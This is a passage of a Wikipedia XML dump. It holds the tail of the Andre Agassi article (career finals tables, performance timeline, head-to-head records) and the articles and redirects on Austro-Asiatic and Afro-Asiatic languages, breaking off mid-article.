|[[Ivan Lendl]] ([[United States|USA]])
|3-6 6-2 6-0
|-
|18.
|[[January 2]], [[1993]]
|[[San Francisco]], [[United States|USA]]
|Hard
|[[Brad Gilbert]] ([[United States|USA]])
|6-2 6-7 6-2
|-
|19.
|[[February 22]], [[1993]]
|[[Scottsdale]], [[United States|USA]]
|Hard
|Marcos Ondruska ([[Russia]])
|6-2 3-6 6-3 
|-
|20.
|[[February 2]], [[1994]]
|[[Scottsdale]], [[United States|USA]]
|Hard
|Luiz Mattar ([[Brazil]])
|6-4 6-3
|- bgcolor=&quot;#dfe2e9&quot;
|21.
|[[July 25]], [[1994]]
|[[Toronto]], [[Canada]] 
|Hard
|Jason Stoltenberg ([[Australia]])
|6-4 6-4
|- bgcolor=&quot;#e5d1cb&quot; 
|'''22.'''
|'''[[August 29]], [[1994]]'''
|'''[[U.S. Open (tennis)|US Open]]'''
|Hard
|[[Michael Stich]] ([[Germany]])
|6-1 7-6 7-5
|-
|23.
|[[October 17]], [[1994]]
|[[Vienna]], [[Austria]] 
|Carpet
|[[Michael Stich]] ([[Germany]])
|7-6 4-6 6-2 6-3
|- bgcolor=&quot;#dfe2e9&quot;
|24.
|[[October 31]], [[1994]]
|[[Paris]], [[France]] 
|Carpet
|[[Marc Rosset]] ([[Switzerland]])
|6-3 6-3 4-6 7-5
|- bgcolor=&quot;#e5d1cb&quot; 
|'''25.'''
|'''[[January 16]], [[1995]]'''   
|'''[[Australian Open]]'''
|Hard
|[[Pete Sampras]] ([[United States|USA]])
|4-6 6-1 7-6 6-4
|-
|26.
|[[February 6]], [[1995]]
|[[San Jose, California|San Jose]]
|Hard
|[[Michael Chang]] ([[United States|USA]])
|6-2 1-6 6-3 
|- bgcolor=&quot;#dfe2e9&quot;
|27.
|[[March 13]], [[1995]]
|[[Miami Masters|Key Biscayne]]
|Hard
|[[Pete Sampras]] ([[United States|USA]])
|3-6 6-2 7-6
|-
|28.
|[[July 17]], [[1995]]
|[[Legg Mason Tennis Classic|Washington]]
|Hard
|[[Stefan Edberg]]([[Sweden]])
|6-4 2-6 7-5   
|- bgcolor=&quot;#dfe2e9&quot;
|29.
|[[July 24]], [[1995]]
|[[Montreal]]
|Hard
|[[Pete Sampras]] ([[United States|USA]])
|3-6 6-2 6-3  
|- bgcolor=&quot;#dfe2e9&quot;
|30.
|[[August 7]], [[1995]]
|[[Cincinnati Masters|Cincinnati]]
|Hard
|[[Michael Chang]] ([[United States|USA]])
|7-5 6-2 
|-
|31.
|[[August 14]], [[1995]]
|[[New Haven]]
|Hard
|[[Richard Krajicek]] ([[Netherlands]])
|3-6 7-6 6-3  
|- bgcolor=&quot;#dfe2e9&quot;
|32.
|[[March 18]], [[1996]]
|[[Miami Masters|Key Biscayne]]
|Hard
|[[Goran Ivanišević]] ([[Croatia]]) 
|3-0 40-0
|- bgcolor=&quot;gold&quot;
|33.
|[[July 22]], [[1996]]
|[[1996 Summer Olympics|Olympic Games]], [[Atlanta]], [[United States|USA]]
|Hard
|[[Sergi Bruguera]] ([[Spain]])
|6-2 6-3 6-1
|- bgcolor=&quot;#dfe2e9&quot;
|34.
|[[August 5]], [[1996]]
|[[Cincinnati Masters|Cincinnati]]
|Hard
|[[Michael Chang]] ([[United States|USA]])
|7-6 6-4
|-
|35.
|[[February 9]], [[1998]]
|[[San Jose, California|San Jose]]
|Hard
|[[Pete Sampras]] ([[United States|USA]])  
|6-2 6-4 
|-
|36.
|[[March 2]], [[1998]]
|[[Scottsdale]]
|Hard
|[[Jason Stoltenberg]] ([[Australia]])  
|6-4 7-6
|-
|37.
|[[July 20]], [[1998]]
|[[Legg Mason Tennis Classic|Washington]]
|Hard 
|[[Scott Draper]] ([[Australia]]) 
|6-2 6-0 
|-
|38.
|[[July 27]], [[1998]]
|[[Mercedes-Benz Cup|Los Angeles]]
|Hard
|[[Tim Henman]] ([[United Kingdom|UK]]) 
|6-4 6-4 
|-
|39.
|[[October 19]], [[1998]]
|[[Ostrava]]
|Carpet
|[[Jan Kroslak]] ([[Slovakia]]) 
|6-2 3-6 6-3 
|-
|40.
|[[April 5]], [[1999]]
|[[Hong Kong]] 
|Hard
|[[Boris Becker]] ([[Germany]])
|6-7 6-4 6-4 
|- bgcolor=&quot;#e5d1cb&quot; 
|'''41.'''
|'''[[May 24]], [[1999]]''' 
|'''[[French Open]]'''
|Clay
|[[Andrei Medvedev]] ([[Ukraine]])
|1-6 2-6 6-4 6-3 6-4
|-
|42.
|[[August 16]], [[1999]]
|[[Legg Mason Tennis Classic|Washington]] 
|Hard
|[[Yevgeny Kafelnikov]] ([[Russia]])
|7-6 6-1 
|- bgcolor=&quot;#e5d1cb&quot; 
|'''43.'''
|'''[[August 30]], [[1999]]''' 
|'''[[U.S. Open (tennis)|US Open]]'''
|Hard
|[[Todd Martin]] ([[United States|USA]])
|6-4 6-7 6-7 6-3 6-2
|- bgcolor=&quot;#dfe2e9&quot;
|44.
|[[November 1]], [[1999]]
|[[Paris]]
|Carpet
|[[Marat Safin]] ([[Russia]])
|7-6 6-2 4-6 6-4 
|- bgcolor=&quot;#e5d1cb&quot; 
|'''45.'''
|'''[[January 17]], [[2000]]'''
|'''[[Australian Open]]'''
|Hard
|[[Yevgeny Kafelnikov]] ([[Russia]])
|3-6 6-3 6-2 6-4
|- bgcolor=&quot;#e5d1cb&quot; 
|'''46.'''
|'''[[January 15]], [[2001]]'''
|'''[[Australian Open]]'''
|Hard
|[[Arnaud Clement]] ([[France]])
|6-4 6-2 6-2 
|- bgcolor=&quot;#dfe2e9&quot;
|47.
|[[March 12]], [[2001]]
|[[Indian Wells Masters|Indian Wells]]
|Hard
|[[Pete Sampras]] ([[United States|USA]])
|7-6 7-5 6-1 
|- bgcolor=&quot;#dfe2e9&quot;
|48.
|[[March 19]], [[2001]]
|[[Miami Masters|Key Biscayne]]
|Hard
|[[Jan-Michael Gambill]] ([[United States|USA]])
|7-6 6-1 6-0 
|-
|49.
|[[July 23]], [[2001]]
|[[Mercedes-Benz Cup|Los Angeles]] 
|Hard
|[[Pete Sampras]] ([[United States|USA]]
|6-4 6-2 
|-
|50.
|[[March 4]], [[2002]]
|[[Scottsdale]]
|Hard
|[[Juan Balcells]] ([[Spain]])
|6-2 7-6
|- bgcolor=&quot;#dfe2e9&quot;
|51.
|[[March 18]], [[2002]]
|[[Miami Masters|Key Biscayne]]
|Hard
|[[Roger Federer]] ([[Switzerland]])
|6-3 6-3 3-6 6-4
|- bgcolor=&quot;#dfe2e9&quot;
|52.
|[[May 6]], [[2002]]
|[[Rome Masters|Rome]], [[Italy]]
|Clay
|[[Tommy Haas]] ([[Germany]])
|6-3 6-3 6-0
|-
|53.
|[[July 22]], [[2002]]
|[[Mercedes-Benz Cup|Los Angeles]], [[United States|USA]]
|Hard
|[[Jan-Michael Gambill]] ([[United States|USA]])
|6-2 6-4 
|- bgcolor=&quot;#dfe2e9&quot;
|54.
|[[October 14]], [[2002]]
|[[Madrid]], [[Spain]]
|Hard 
|[[Jiri Novak]] ([[Czech Republic]])
|W/O
|- bgcolor=&quot;#e5d1cb&quot; 
|'''55.'''
|'''[[January 13]], [[2003]]''' 
|'''[[Australian Open]]'''
|Hard
|[[Rainer Schuettler]] ([[Germany]]) 
|6-2 6-2 6-1
|-
|56.
|[[February 10]], [[2003]]
|[[San Jose, California|San Jose]], [[United States|USA]]
|Hard
|[[Davide Sanguinetti]] ([[Italy]]) 
|6-3 6-1 
|- bgcolor=&quot;#dfe2e9&quot;
|57.
|[[March 17]], [[2003]]
|[[Miami Masters|Key Biscayne]] 
|Hard
|[[Carlos Moyà]] ([[Spain]])
|6-3 6-3
|-
|58.
|[[April 21]], [[2003]]
|[[Houston]], [[United States|USA]]
|Clay
|[[Andy Roddick]] ([[United States|USA]])
|3-6 6-3 6-4
|- bgcolor=&quot;#dfe2e9&quot;
|59.
|[[August 2]], [[2004]]
|[[Cincinnati Masters|Cincinnati]], [[United States|USA]]
|Hard
|[[Lleyton Hewitt]] ([[Australia]])
|6-3 3-6 6-2
|-
|60.
|[[July 31]], [[2005]]
|[[Mercedes-Benz Cup|Los Angeles]], [[United States|USA]]
|Hard
|[[Gilles Muller]] ([[Luxembourg]])
|6-4 7-5
|}

===Doubles (1)===
{| {{pt}}
|- bgcolor=&quot;#eeeeee&quot;
|'''No.'''
|'''Date'''
|'''Tournament'''
|'''Surface'''
|'''Partner'''
|'''Opponents in the final'''
|'''Score'''
|-
|1.  
|[[August 16]], [[1993]]
|[[Cincinnati Masters]]
|Hard
|[[Petr Korda]] ([[Czech Republic]]) 
|[[Stefan Edberg]] ([[Sweden]]) &amp; [[Henrik Holm]] ([[Sweden]])
|7-6 6-4 
|}

===Performance timeline===
{| {{pt}}
|- bgcolor=&quot;#efefef&quot;
! Tournament !! [[2006]] !! [[2005]] !! [[2004]] !! [[2003]] !! [[2002]] !! [[2001]] !! [[2000]] !! [[1999]] !! [[1998]] !! [[1997]] !! [[1996]] !! [[1995]] !! [[1994]] !! [[1993]] !! [[1992]] !! [[1991]] !! [[1990]] 

|-
|[[Australian Open]]
|align=&quot;center&quot;|-
|align=&quot;center&quot;|QF
|align=&quot;center&quot;|SF
|align=&quot;center&quot;|'''W'''
|align=&quot;center&quot;|-
|align=&quot;center&quot;|'''W'''
|align=&quot;center&quot;|'''W'''
|align=&quot;center&quot;|4r
|align=&quot;center&quot;|4r
|align=&quot;center&quot;|-
|align=&quot;center&quot;|SF
|align=&quot;center&quot;|'''W'''
|align=&quot;center&quot;|-
|align=&quot;center&quot;|-
|align=&quot;center&quot;|-
|align=&quot;center&quot;|-
|align=&quot;center&quot;|-

|-
|[[French Open]]
|align=&quot;center&quot;|
|align=&quot;center&quot;|1r
|align=&quot;center&quot;|1r
|align=&quot;center&quot;|QF
|align=&quot;center&quot;|QF
|align=&quot;center&quot;|QF
|align=&quot;center&quot;|2r
|align=&quot;center&quot;|'''W'''
|align=&quot;center&quot;|1r
|align=&quot;center&quot;|-
|align=&quot;center&quot;|2r
|align=&quot;center&quot;|QF
|align=&quot;center&quot;|2r
|align=&quot;center&quot;|-
|align=&quot;center&quot;|SF
|align=&quot;center&quot;|F
|align=&quot;center&quot;|F

|-
|[[Wimbledon Championships|Wimbledon]]
|align=&quot;center&quot;|
|align=&quot;center&quot;|-
|align=&quot;center&quot;|-
|align=&quot;center&quot;|4r
|align=&quot;center&quot;|2r
|align=&quot;center&quot;|SF
|align=&quot;center&quot;|SF 
|align=&quot;center&quot;|F
|align=&quot;center&quot;|2r
|align=&quot;center&quot;|-
|align=&quot;center&quot;|1r
|align=&quot;center&quot;|SF
|align=&quot;center&quot;|4r
|align=&quot;center&quot;|QF
|align=&quot;center&quot;|'''W'''
|align=&quot;center&quot;|QF
|align=&quot;center&quot;|-

|-
|[[U.S. Open (tennis)|US Open]]
|align=&quot;center&quot;|
|align=&quot;center&quot;|F
|align=&quot;center&quot;|QF
|align=&quot;center&quot;|SF
|align=&quot;center&quot;|F
|align=&quot;center&quot;|QF
|align=&quot;center&quot;|2r 
|align=&quot;center&quot;|'''W'''
|align=&quot;center&quot;|4r
|align=&quot;center&quot;|4r
|align=&quot;center&quot;|SF
|align=&quot;center&quot;|F
|align=&quot;center&quot;|'''W'''
|align=&quot;center&quot;|1r
|align=&quot;center&quot;|QF
|align=&quot;center&quot;|1r
|align=&quot;center&quot;|F

|- 
|Grand Slam W-L
|align=&quot;center&quot;|
|align=&quot;center&quot;|10-2
|align=&quot;center&quot;|9-3
|align=&quot;center&quot;|19-3
|align=&quot;center&quot;|11-3
|align=&quot;center&quot;|20-3
|align=&quot;center&quot;|14-3
|align=&quot;center&quot;|23-2
|align=&quot;center&quot;|7-4
|align=&quot;center&quot;|3-1
|align=&quot;center&quot;|11-4
|align=&quot;center&quot;|22-3
|align=&quot;center&quot;|11-2
|align=&quot;center&quot;|4-2
|align=&quot;center&quot;|16-2
|align=&quot;center&quot;|10-3
|align=&quot;center&quot;|12-2

|- bgcolor=&quot;#efefef&quot;
|'''Tournaments Won''' 
|align=&quot;center&quot;|
|align=&quot;center&quot;|'''1'''
|align=&quot;center&quot;|'''1'''
|align=&quot;center&quot;|'''4'''
|align=&quot;center&quot;|'''5'''
|align=&quot;center&quot;|'''4'''
|align=&quot;center&quot;|'''1'''
|align=&quot;center&quot;|'''5'''
|align=&quot;center&quot;|'''5'''
|align=&quot;center&quot;|'''0'''
|align=&quot;center&quot;|'''3'''
|align=&quot;center&quot;|'''7'''
|align=&quot;center&quot;|'''5'''
|align=&quot;center&quot;|'''2'''
|align=&quot;center&quot;|'''3'''
|align=&quot;center&quot;|'''2'''
|align=&quot;center&quot;|'''4'''

|- 
|Hardcourt W-L
|align=&quot;center&quot;|
|align=&quot;center&quot;|19-3
|align=&quot;center&quot;|37-10
|align=&quot;center&quot;|32-6
|align=&quot;center&quot;|36-7
|align=&quot;center&quot;|35-10
|align=&quot;center&quot;|25-9
|align=&quot;center&quot;|41-9
|align=&quot;center&quot;|47-10
|align=&quot;center&quot;|11-10
|align=&quot;center&quot;|34-7
|align=&quot;center&quot;|53-3
|align=&quot;center&quot;|29-6
|align=&amp;amp;quot;center&quot;|27-8
|align=&quot;center&quot;|19-7
|align=&quot;center&quot;|17-7
|align=&quot;center&quot;|26-5
|} 

{| {{pt}}
|- bgcolor=&quot;#efefef&quot;
! Tournament !! [[1989]] !! [[1988]] !! [[1987]] !! [[1986]]

|-
|[[Australian Open]]
|align=&quot;center&quot;|-
|align=&quot;center&quot;|-
|align=&quot;center&quot;|-
|align=&quot;center&quot;|-

|-
|[[French Open]]
|align=&quot;center&quot;|3r
|align=&quot;center&quot;|SF
|align=&quot;center&quot;|2r
|align=&quot;center&quot;|- 

|-
|[[Wimbledon Championships|Wimbledon]]
|align=&quot;center&quot;|-
|align=&quot;center&quot;|-
|align=&quot;center&quot;|1r
|align=&quot;center&quot;|-

|-
|[[U.S. Open (tennis)|US Open]]
|align=&quot;center&quot;|SF
|align=&quot;center&quot;|SF
|align=&quot;center&quot;|1r
|align=&quot;center&quot;|1r

|- 
|Grand Slam W-L
|align=&quot;center&quot;|7-2
|align=&quot;center&quot;|10-2
|align=&quot;center&quot;|1-3
|align=&quot;center&quot;|0-1

|- bgcolor=&quot;#efefef&quot;
|'''Tournaments Won''' 
|align=&quot;center&quot;|'''1'''
|align=&quot;center&quot;|'''6'''
|align=&quot;center&quot;|'''1'''
|align=&quot;center&quot;|'''0'''

|- 
|Hardcourt W-L
|align=&quot;center&quot;|20-6
|align=&quot;center&quot;|33-6
|align=&quot;center&quot;|21-10
|align=&quot;center&quot;|4-5

|}

==Head-to-Head==
*vs. Sampras, Pete: 14-20
*vs. Roddick, Andy: 5-1
*vs. Ginepri, Robby: 4-0
*vs. Blake, James: 4-1
*vs. Dent, Taylor: 5-0
*vs. Kiefer, Nicolas: 6-0
*vs. Rusedski, Greg: 8-2
*vs. Henman, Tim: 2-1
*vs. Johansson, Thomas: 6-1
*vs. Novak, Jiri: 5-1
*vs. Gaudio, Gaston: 4-1
*vs. Davydenko, Nikolay: 2-1
*vs. Coria, Guillermo: 5-2
*vs. Chang, Michael: 15-7
*vs. Ivanisevic, Goran: 4-3
*vs. Rafter, Patrick: 10-5
*vs. Connors, Jimmy: 2-0
*vs. McEnroe, John: 2-2
*vs. Becker, Boris: 10-4
*vs. Safin, Marat: 3-3
*vs. Hewitt, Lleyton: 4-4
*vs. Courier, Jim: 5-7
*vs. Muster, Thomas: 5-4
*vs. Federer, Roger: 3-8
*vs. Nadal, Rafael: 0-1
*vs. Grosjean, Sebastien: 4-3
*vs. Nalbandian, David: 1-0
*vs. Ferrero, Juan Carlos: 2-3
*vs. Kuerten, Gustavo: 7-4
*vs. Corretja, Alex: 5-3
*vs. Costa, Albert: 4-1
*vs. Moya, Carlos: 3-1
*vs. Malisse, Xavier: 5-0
*vs. Pioline, Cedric: 3-0
*vs. Haas, Tommy: 6-3

==External links==
*[http://www.atptennis.com/en/players/playerprofiles/default2.asp?playernumber=A092 Official ATP profile]
*[http://www.tenniscorner.net/index.php?corner=M&amp;action=players&amp;playerid=AGA001/ Profile on tenniscorner.net]
*[http://www.daviscup.com/teams/player.asp?player=10000009 Davis Cup record]
*[http://www.agassifoundation.org/ Andre Agassi Foundation]
*[http://www.olympic.org/uk/athletes/profiles/bio_uk.asp?PAR_I_ID=96979/ IOC profile]
*[http://www.agassiopen.com/ Agassi Open]

{{Tennis World Number Ones (men)}}
{{Footer Olympic Champions Tennis Men}}
{{Australian Open men's singles champions}}
{{French Open men's singles champions}}
{{Wimbledon men's singles champions}}
{{US Open men's singles champions}}

[[Category:1970 births|Agassi, Andre]]
[[Category:Living people|Agassi, Andre]]
[[Category:American tennis players|Agassi, Andre]]
[[Category:Tennis players at the 1996 Summer Olympics|Agassi, Andre]]
[[Category:Armenian-Americans|Agassi, Andre]]
[[Category:Iranian Americans|Agassi, Andre]]
[[Category:Las Vegans|Agassi, Andre]]
[[Category:Australian Open champions|Agassi, Andre]]
[[Category:French Open champions|Agassi, Andre]]
[[Category:Wimbledon champions|Agassi, Andre]]
[[Category:US Open champions|Agassi, Andre]]

[[bg:Андре Агаси]]
[[da:Andre Agassi]]
[[de:Andre Agassi]]
[[et:Andre Agassi]]
[[es:Andre Agassi]]
[[fr:Andre Agassi]]
[[it:Andre Agassi]]
[[he:אנדרה אגסי]]
[[nl:Andre Agassi]]
[[ja:アンドレ・アガシ]]
[[no:Andre Agassi]]
[[pl:Andre Agassi]]
[[pt:Andre Agassi]]
[[fi:Andre Agassi]]
[[sv:Andre Agassi]]
[[zh:安德烈·阿加西]]

[[Category:List of Assyrians|Agassi, Andre]]</text>
    </revision>
  </page>
  <page>
    <title>Artificial languages</title>
    <id>596</id>
    <revision>
      <id>15899127</id>
      <timestamp>2002-07-21T02:57:49Z</timestamp>
      <contributor>
        <username>Christian</username>
        <id>899</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Constructed language]]</text>
    </revision>
  </page>
  <page>
    <title>Austro-Asiatic languages</title>
    <id>597</id>
    <revision>
      <id>39114113</id>
      <timestamp>2006-02-10T20:32:21Z</timestamp>
      <contributor>
        <username>Visviva</username>
        <id>123395</id>
      </contributor>
      <comment>link Khmuic.</comment>
      <text xml:space="preserve">[[Image:MK map.gif|thumb|Austro-Asiatic languages]]
The '''Austro-Asiatic languages''' are a large [[language family]] of [[Southeast Asia]] and [[India]]. The name comes from the [[Greek language|Greek]] words for [[South Asia]]. Among these languages, only [[Vietnamese language|Vietnamese]], [[Khmer language|Khmer]], and [[Mon language|Mon]] have a long recorded history, and only Vietnamese and Khmer have official status (in Vietnam and Cambodia, respectively). The rest of the languages are spoken by minority groups. 

Austroasiatic languages have a disjunct distribution across India and Southeast Asia, separated by regions where other languages are spoken. It is widely believed that the Austroasiatic languages are the [[autochthonous]] languages of Southeast Asia and eastern India, and that the other languages of the region, including the [[Indo-European languages|Indo-European]], [[Tai-Kadai languages|Tai-Kadai]], and [[Sino-Tibetan]] languages, are the result of later [[human migration|migrations of people]]. (There are, for example, Austroasiatic words in the Tibeto-Burman languages of eastern Nepal.) Some linguists have attempted to prove that Austroasiatic languages are related to [[Austronesian languages]], thus forming the [[Austric languages|Austric]] superfamily.

Linguists traditionally recognize two major divisions of Austroasiatic, the [[Mon-Khmer]] languages of Southeast Asia and the [[Munda languages]] of east-central and central India. [[Ethnologue]] identifies 168 Austroasiatic languages, of which 147 are [[Mon-Khmer]] languages and 21 are [[Munda languages]]. However, no evidence for this classification has ever been published, and it remains speculative. 

Each of the subdivisions of the classification below that is written in boldface type is accepted as a valid family. However, the relationships between these families within Austroasiatic is debated. It should be noted that little of the data used for competing classifications has ever been published, and therefore cannot be evaluated by peer review. The classification used here is that of Diffloth (in press), which does not accept traditional Mon-Khmer as a valid unit. 

* [[Munda languages]] ([[India]])
:* '''Koraput''' (7 languages)
:*Core Munda languages
::* '''Kharian-Juang''' (2 languages)
::*North Munda languages
::: '''[[Korku language|Korku]]''' (1 language)
::: '''Kherwarian''' (12 languages)

* Khasi-Khmuic languages
:* '''[[Khasi language|Khasian]]''' (3 languages) of eastern [[India]] and [[Bangladesh]].
:*Palaungo-Khmuic languages
::* '''[[Khmuic]]''' (13 languages) of [[Laos]] and [[Thailand]].

::*Palaungo-Pakanic languages
::: '''Pakanic''' or '''Palyu''' (2 languages) of southern [[China]]
::: '''Palaungic''' (21 languages) of [[Myanmar]], southern [[China]], and [[Thailand]], plus Mang of [[Vietnam]].

* [[Mon-Khmer]] languages
:* Khmero-Vietic languages

::* Vieto-Katuic languages
::: '''Viet-Muong''' or '''Vietic''' (10 languages) of [[Vietnam]] and [[Laos]], includes the [[Vietnamese language]], which has the most speakers of any Austroasiatic language.  These are the only Austroasiatic languages to have highly developed tone systems.
::: '''Katuic''' (19 languages) of [[Laos]], [[Vietnam]], and [[Thailand]].

::* Khmero-Bahnaric languages
:::* '''[[Bahnaric languages|Bahnaric]]''' (40 languages) of [[Vietnam]], [[Laos]], and [[Cambodia]].
:::*Khmeric languages
:::: The '''[[Khmer language]]''' of [[Cambodia]], [[Thailand]], and [[Vietnam]].
:::: '''Pearic''' (6 languages) of [[Cambodia]].

:* Nico-Monic languages
::* '''[[Nicobarese languages]]''' (6 languages) of the [[Nicobar Islands]], a territory of India.

::* Asli-Monic languages
::: '''Aslian''' (19 languages) of peninsular [[Malaysia]] and [[Thailand]].
::: '''Monic''' (2 languages) includes the [[Mon language]] of [[Myanmar]] and the Nyahkur language of [[Thailand]].

There are in addition several unclassified languages of southern China.

[[Category:Austro-Asiatic languages|*]]

[[da:Austroasiatiske sprog]]
[[de:Austroasiatische Sprachen]]
[[es:Lenguas austroasiáticas]]
[[fi:Austroaasialaiset kielet]]
[[fr:Langues austroasiatiques]]
[[hu:Ausztroázsiai nyelvcsalád]]
[[id:Bahasa Austro-Asia]]
[[ko:오스트로아시아어족]]
[[lt:Austroazinės kalbos]]
[[nl:Austroaziatische talen]]
[[ru:Австроазиатские языки]]
[[vi:Hệ ngôn ngữ Nam Á]]
[[zh:南亚语系]]</text>
    </revision>
  </page>
  <page>
    <title>Afro-asiatic languages</title>
    <id>598</id>
    <revision>
      <id>15899129</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Afro-Asiatic languages]]

</text>
    </revision>
  </page>
  <page>
    <title>Afro-Asiatic languages</title>
    <id>599</id>
    <revision>
      <id>41955043</id>
      <timestamp>2006-03-02T21:34:17Z</timestamp>
      <contributor>
        <username>Mustafaa</username>
        <id>57891</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/85.250.213.76|85.250.213.76]] ([[User talk:85.250.213.76|talk]]) to last version by Dewet</comment>
      <text xml:space="preserve">{{Contradict-other|''The population Figures in the Semitic languages Article (and others)''}}

[[Image:Afro-Asiatic.png|right|300px|thumb|Map showing the distribution of Afro-Asiatic languages]]
The '''Afro-Asiatic languages''' constitute a [[language family]] of about 240 languages and over 307 million people widespread throughout [[North Africa]], [[East Africa]], the [[Sahel]], and [[Southwest Asia]].  Other names sometimes given to this family include &quot;Afrasian&quot;, &quot;Hamito-Semitic&quot; (deprecated), &quot;Lisramic&quot; (Hodge 1972), &quot;Erythraean&quot; (Tucker 1966).

The following language subfamilies are included:

* [[Berber languages]]
* [[Chadic languages]]
* [[Egyptian language|Egyptian languages]]
* [[Semitic languages]]
* [[Cushitic languages]]
* [[Beja language]] (subclassification controversial; widely classified as part of Cushitic)
* [[Omotic languages]] (controversial; sometimes argued to be outside Afro-Asiatic)

The [[Ongota]] language is often considered Afro-Asiatic, but its classification within the family remains controversial, partly for lack of data. [[Harold Fleming]] tentatively suggests that it is an independent branch of non-Omotic Afro-Asiatic.

It is not generally agreed on where [[Proto-Afro-Asiatic]] was spoken; [[Africa]] (e.g., [[Igor Diakonoff]], [[Lionel Bender]]) has often been suggested, particularly [[Ethiopia]], because it includes the majority of the diversity of the Afro-Asiatic language family and has very diverse groups in close geographic proximity, often considered a telltale sign for a linguistic geographic origin. The western [[Red Sea]] coast and the [[Sahara]] have also been put forward (e.g., [[Christopher Ehret]]).  [[Alexander Militarev]] suggests that their homeland was in the [[Levant]] (specifically, he identifies them with the [[Natufian culture]]).

The Semitic languages are the only Afro-Asiatic subfamily based outside of Africa; however, in historical or near-historical times, some Semitic speakers crossed from South Arabia back into Ethiopia, so some modern Ethiopian languages (such as [[Amharic]]) are Semitic rather than belonging to the substrate Cushitic or Omotic groups.  (A minority of academics, e.g. A. Murtonen (1967), dispute this view, suggesting that Semitic may have originated in Ethiopia.)

[[Tonal language]]s are found in the Omotic, Chadic, and South &amp; East Cushitic branches of Afro-Asiatic, according to Ehret (1996). The Semitic, Berber and Egyptian branches are not tonal. 

==Common features and cognates==

Common features of the Afro-Asiatic languages include:
*a two-[[grammatical gender|gender]] system in the singular, with the feminine marked by the /t/ sound,
*[[Verb Subject Object|VSO]] [[linguistic_typology|typology]] with [[Subject Verb Object|SVO]] tendencies,
*a set of [[emphatic consonant]]s, variously realized as glottalized, pharyngealized, or implosive, and
*a templatic [[morphology (linguistics)|morphology]] in which words inflect by internal changes as well as prefixes and suffixes.


Some cognates are:
*''b-n-'' &quot;build&quot; (Ehret: *''b&amp;#301;n''), attested in Chadic, Semitic (''*bny''), Cushitic (*''m&amp;#301;n''/*''m&amp;#259;n'' &quot;house&quot;) and Omotic (Dime ''bin-'' &quot;build, create&quot;);
*''m-t'' &quot;die&quot; (Ehret: *''maaw''), attested in Chadic (eg Hausa ''mutu''), Egyptian (''mwt'', ''mt'', Coptic ''mu''), Berber (''mmet'', pr. ''yemmut''), Semitic (*''mwt''), and Cushitic (Proto-Somali *''umaaw''/*''-am-w(t)-'' &quot;die&quot;), also similar to the Latin ''mortis'', indicating a possible vocabulary drift
*''s-n'' &quot;know&quot;, attested in Chadic, Berber, and Egyptian;
*''l-s'' &quot;tongue&quot; (Ehret: ''*lis' ''&quot;to lick&quot;), attested in Semitic (*''lasaan/lisaan''), Egyptian (''ns'', Coptic ''las''), Berber (''ils''), Chadic (eg Hausa ''harshe''), and possibly Omotic (Dime ''lits'-'' &quot;lick&quot;);
*''s-m'' &quot;name&quot; (Ehret: *''s&amp;#365;m'' / *''s&amp;#301;m''), attested in Semitic (*''sm''), Berber (''ism''), Chadic (eg Hausa ''suna''), Cushitic, and Omotic (though the Berber form, ''ism'', and the Omotic form, ''sunts'', are sometimes argued to be Semitic [[loanword]]s.)  The Egyptian ''smi'' &quot;report, announce&quot; may also be cognate.
* ''d-m'' &quot;blood&quot; (Ehret: *''dîm'' / *''dâm''), attested in Berber (''idammen''), Semitic (*''dam''), Chadic, and arguably Omotic.  Cushitic *''dîm''/*''dâm'', &quot;red&quot;, may be cognate.


In the verbal system, Semitic, Berber, and Cushitic (including Beja) all provide evidence for a prefix conjugation:
{|
|-
| English || Arabic (Semitic) || Kabyle (Berber)
| Saho (Cushitic; verb is &quot;kill&quot;) || Beja (verb is &quot;arrive&quot;)
|-
| he dies || ''yamuutu'' || ''yemmut''
| ''yagdifé'' || ''iktim''
|-
| she dies || ''tamuutu'' || ''temmut''
| ''yagdifé'' || ''tiktim''
|-
| they (m.) die || ''yamuutuuna'' || ''mmuten''
| ''yagdifín'' || ''iktimna''
|-
| you (m. sg.) die || ''tamuutu'' || ''temmuted&amp;#803;''
| ''tagdifé'' || ''tiktima''
|-
| you (m. pl.) die || ''tamuutuuna'' || ''temmutem''
| ''tagdifín'' || ''tiktimna''
|-
| I die || ''&amp;#704;amuutu'' || ''mmute&amp;#947;''
| ''agdifé'' || ''aktim''
|-
| we die || ''namuutu'' || ''nemmut'' || ''nagdifé'' || ''niktim''
|}

A causative affix ''s'' is widespread (found in all its subfamilies), but is also found in other groups, such as the [[Niger-Congo languages]].

The [[possessive pronoun]] suffixes are supported by Semitic, Berber, Cushitic (including Beja), and Chadic.

==Classification history==

Medieval scholars sometimes linked two or more branches of Afro-Asiatic together; already in the [[9th century]], the Hebrew grammarian [[Judah ibn Quraysh]] of [[Tiaret]], [[Algeria]] perceived a relationship between Berber and Semitic (the latter being known to him through Arabic, Hebrew, and Aramaic.)

In the 1800's, Europeans began suggesting such relationships; thus in [[1844]] Th. Benfey suggested a language family containing Semitic, Berber, and Cushitic (calling the latter &quot;Ethiopic&quot;).  In the same year, T. N. Newman suggested a relationship between Semitic and Hausa, but this would long remain a topic of dispute and uncertainty.  The traditional &quot;Hamito-Semitic&quot; family was named by [[Friedrich Müller]] in [[1876]] in his ''Grundriss der Sprachwissenschaft'', and defined as consisting of a Semitic group plus a &quot;Hamitic&quot; group containing Egyptian, Berber, and Cushitic; the Chadic group was not included.  These classifications were partly based on non-linguistic anthropological and racial arguments. (See also [[Hamitic hypothesis]].)

[[Leo Reinisch]] (1909) proposed to link Cushitic and Chadic, while urging a more distant affinity with Egyptian and Semitic, thus foreshadowing Greenberg; but his suggestion was largely ignored. [[Marcel Cohen]] (1924) rejected the idea of a distinct &quot;Hamitic&quot; subgroup, and included Hausa (a Chadic language) in his comparative Hamito-Semitic vocabulary.  [[Joseph Greenberg]] (1950) strongly confirmed Cohen's rejection of &quot;Hamitic&quot;, added (and sub-classified) the Chadic languages, and proposed the new name Afro-Asiatic for the family; his classification of it came to be almost universally accepted.  In 1969, [[Harold Fleming]] proposed the recognition of [[Omotic]] as a fifth branch, rather than (as previously believed) a subgroup of Cushitic, and this has become generally accepted.  Several scholars, including Harold Fleming and [[Robert Hetzron]], have since questioned the traditional inclusion of Beja in Cushitic, but this view has yet to gain general acceptance.

